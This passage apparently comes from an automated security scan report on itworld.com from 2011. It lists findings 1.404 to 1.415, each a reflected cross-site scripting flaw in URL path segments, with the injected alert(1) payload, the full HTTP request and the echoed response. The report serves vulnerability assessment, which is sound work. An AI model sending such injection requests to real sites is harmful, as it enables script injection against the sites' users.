Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
nymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/itw/modules/idg_ads/doubleclick_ads/doubleclick_ads-multiver-2.5.4/doubleclick_ads.js96296"-alert(1)-"7e2f63e2870";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eVar13="CMS";

...[SNIP]...

1.404. http://www.itworld.com/sites/all/modules/itw/modules/idg_ads/doubleclick_ads/doubleclick_ads-multiver-2.5.4/doubleclick_ads.js [REST URL parameter 9] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/idg_ads/doubleclick_ads/doubleclick_ads-multiver-2.5.4/doubleclick_ads.js

Issue detail

The value of REST URL parameter 9 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d0fae"><script>alert(1)</script>5837334c5ef was submitted in the REST URL parameter 9. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/itw/modules/idg_ads/doubleclick_ads/doubleclick_ads-multiver-2.5.4/doubleclick_ads.jsd0fae"><script>alert(1)</script>5837334c5ef?2531 HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:27:30 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460450"
Content-Type: text/html; charset=utf-8
Content-Length: 58253
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:27:32 GMT
X-Varnish: 1038164118
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/itw/modules/idg_ads/doubleclick_ads/doubleclick_ads-multiver-2.5.4/doubleclick_ads.jsd0fae"><script>alert(1)</script>5837334c5ef?2531"/>
...[SNIP]...

1.405. http://www.itworld.com/sites/all/modules/itw/modules/itw_login/itw_login.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/itw_login/itw_login.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d4464"-alert(1)-"41668357825 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sitesd4464"-alert(1)-"41668357825/all/modules/itw/modules/itw_login/itw_login.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:20:30 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460030"
Content-Type: text/html; charset=utf-8
Content-Length: 57489
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:20:32 GMT
X-Varnish: 1959723419
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
s.prop13="CMS";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sitesd4464"-alert(1)-"41668357825/all/modules/itw/modules/itw_login/itw_login.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't
...[SNIP]...

1.406. http://www.itworld.com/sites/all/modules/itw/modules/itw_login/itw_login.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/itw_login/itw_login.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8918b"><script>alert(1)</script>cecd131006 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites8918b"><script>alert(1)</script>cecd131006/all/modules/itw/modules/itw_login/itw_login.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:19:56 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316459996"
Content-Type: text/html; charset=utf-8
Content-Length: 57699
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:20:11 GMT
X-Varnish: 1959722392
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites8918b"><script>alert(1)</script>cecd131006/all/modules/itw/modules/itw_login/itw_login.js?h"/>
...[SNIP]...

1.407. http://www.itworld.com/sites/all/modules/itw/modules/itw_login/itw_login.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/itw_login/itw_login.js

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 79ef8"><script>alert(1)</script>807ea0a6d73 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/itw79ef8"><script>alert(1)</script>807ea0a6d73/modules/itw_login/itw_login.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:27 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460147"
Content-Type: text/html; charset=utf-8
Content-Length: 57710
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:36 GMT
X-Varnish: 252446298
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/itw79ef8"><script>alert(1)</script>807ea0a6d73/modules/itw_login/itw_login.js?h"/>
...[SNIP]...

1.408. http://www.itworld.com/sites/all/modules/itw/modules/itw_login/itw_login.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/itw_login/itw_login.js

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 58794"-alert(1)-"733f98e66fe was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/itw58794"-alert(1)-"733f98e66fe/modules/itw_login/itw_login.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:53 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460173"
Content-Type: text/html; charset=utf-8
Content-Length: 57490
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:55 GMT
X-Varnish: 252446770
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/itw58794"-alert(1)-"733f98e66fe/modules/itw_login/itw_login.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page yo
...[SNIP]...

1.409. http://www.itworld.com/sites/all/modules/itw/modules/itw_login/itw_login.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/itw_login/itw_login.js

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4b54a"-alert(1)-"9534c98e539 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/itw/modules4b54a"-alert(1)-"9534c98e539/itw_login/itw_login.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:37 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460217"
Content-Type: text/html; charset=utf-8
Content-Length: 57496
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:39 GMT
X-Varnish: 252447506
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/itw/modules4b54a"-alert(1)-"9534c98e539/itw_login/itw_login.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you reques
...[SNIP]...

1.410. http://www.itworld.com/sites/all/modules/itw/modules/itw_login/itw_login.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/itw_login/itw_login.js

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5273f"><script>alert(1)</script>aaece5067fe was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/itw/modules5273f"><script>alert(1)</script>aaece5067fe/itw_login/itw_login.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:28 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460208"
Content-Type: text/html; charset=utf-8
Content-Length: 57716
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:30 GMT
X-Varnish: 252447385
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/itw/modules5273f"><script>alert(1)</script>aaece5067fe/itw_login/itw_login.js?h"/>
...[SNIP]...

1.411. http://www.itworld.com/sites/all/modules/itw/modules/itw_login/itw_login.js [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/itw_login/itw_login.js

Issue detail

The value of REST URL parameter 7 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cc05a"-alert(1)-"4959d8c96ed was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/itw/modules/itw_login/itw_login.jscc05a"-alert(1)-"4959d8c96ed?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:55 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460355"
Content-Type: text/html; charset=utf-8
Content-Length: 57496
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:56 GMT
X-Varnish: 1038161332
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/itw/modules/itw_login/itw_login.jscc05a"-alert(1)-"4959d8c96ed";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eVar13="CMS";

...[SNIP]...

1.412. http://www.itworld.com/sites/all/modules/itw/modules/itw_profiles/itw_profiles.css [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/itw_profiles/itw_profiles.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3035e"><script>alert(1)</script>678dae6b301 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites3035e"><script>alert(1)</script>678dae6b301/all/modules/itw/modules/itw_profiles/itw_profiles.css?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:19:45 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316459985"
Content-Type: text/html; charset=utf-8
Content-Length: 57780
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:19:53 GMT
X-Varnish: 1959721899
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites3035e"><script>alert(1)</script>678dae6b301/all/modules/itw/modules/itw_profiles/itw_profiles.css?h"/>
...[SNIP]...

1.413. http://www.itworld.com/sites/all/modules/itw/modules/itw_profiles/itw_profiles.css [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/itw_profiles/itw_profiles.css

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1a33b"-alert(1)-"dc27f1debcc was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites1a33b"-alert(1)-"dc27f1debcc/all/modules/itw/modules/itw_profiles/itw_profiles.css?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:20:00 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460000"
Content-Type: text/html; charset=utf-8
Content-Length: 57559
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:20:08 GMT
X-Varnish: 1959722475
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
s.prop13="CMS";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites1a33b"-alert(1)-"dc27f1debcc/all/modules/itw/modules/itw_profiles/itw_profiles.css";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We co
...[SNIP]...

1.414. http://www.itworld.com/sites/all/modules/itw/modules/itw_profiles/itw_profiles.css [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/itw_profiles/itw_profiles.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b34b7"><script>alert(1)</script>7316d5397ea was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/allb34b7"><script>alert(1)</script>7316d5397ea/modules/itw/modules/itw_profiles/itw_profiles.css?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:20:42 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460042"
Content-Type: text/html; charset=utf-8
Content-Length: 57779
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:20:44 GMT
X-Varnish: 1959723701
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/allb34b7"><script>alert(1)</script>7316d5397ea/modules/itw/modules/itw_profiles/itw_profiles.css?h"/>
...[SNIP]...

1.415. http://www.itworld.com/sites/all/modules/itw/modules/itw_profiles/itw_profiles.css [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/itw_profiles/itw_profiles.css

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5ab7e"-alert(1)-"6022cbe0f94 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all5ab7e"-alert(1)-"6022cbe0f94/modules/itw/modules/itw_profiles/itw_profiles.css?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:20:56 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460056"
Content-Type: text/html; charset=utf-8
Content-Length: 57559
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:20:57 GMT
X-Varnish: 1959724154
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
op13="CMS";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
